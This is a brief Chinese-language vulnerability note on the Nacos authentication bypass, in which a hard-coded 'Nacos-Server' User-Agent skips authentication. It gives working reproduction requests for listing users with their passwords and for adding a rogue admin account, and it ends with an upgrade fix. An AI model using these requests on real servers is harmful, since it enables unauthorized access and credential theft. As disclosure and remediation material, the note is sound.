漏洞介绍
Nacos 是阿里巴巴推出来的一个新开源项目,是一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。致力于帮助发现、配置和管理微服务。Nacos 提供了一组简单易用的特性集,可以快速实现动态服务发现、服务配置、服务元数据及流量管理。
该漏洞发生在nacos在进行认证授权操作时,会判断请求的user-agent是否为”Nacos-Server”,如果是的话则不进行任何认证。开发者原意是用来处理一些服务端对服务端的请求。但是由于配置的过于简单,并且将协商好的user-agent设置为Nacos-Server,直接硬编码在了代码里,导致了漏洞的出现。并且利用这个未授权漏洞,攻击者可以获取到用户名密码等敏感信息。
影响版本: Nacos <= 2.0.0-ALPHA.1
漏洞复现
查看用户
访问路径,可以查看用户列表(包含密码)
GET /nacos/v1/auth/users?pageNo=1&pageSize=9 User-Agent: Nacos-Server
添加新用户
1、访问url
http://xxx/nacos/v1/auth/users
2、请求改为post,把修改User-Agent头改为“Nacos-Server”
3、构造数据包添加一个admin用户,然后发送POST请求,返回为200,表示创建用户成功
username=admin123&password=admin123
4、用新账户密码登录则登录成功
漏洞修复
修复策略就是升级Nacos版本到最新版本。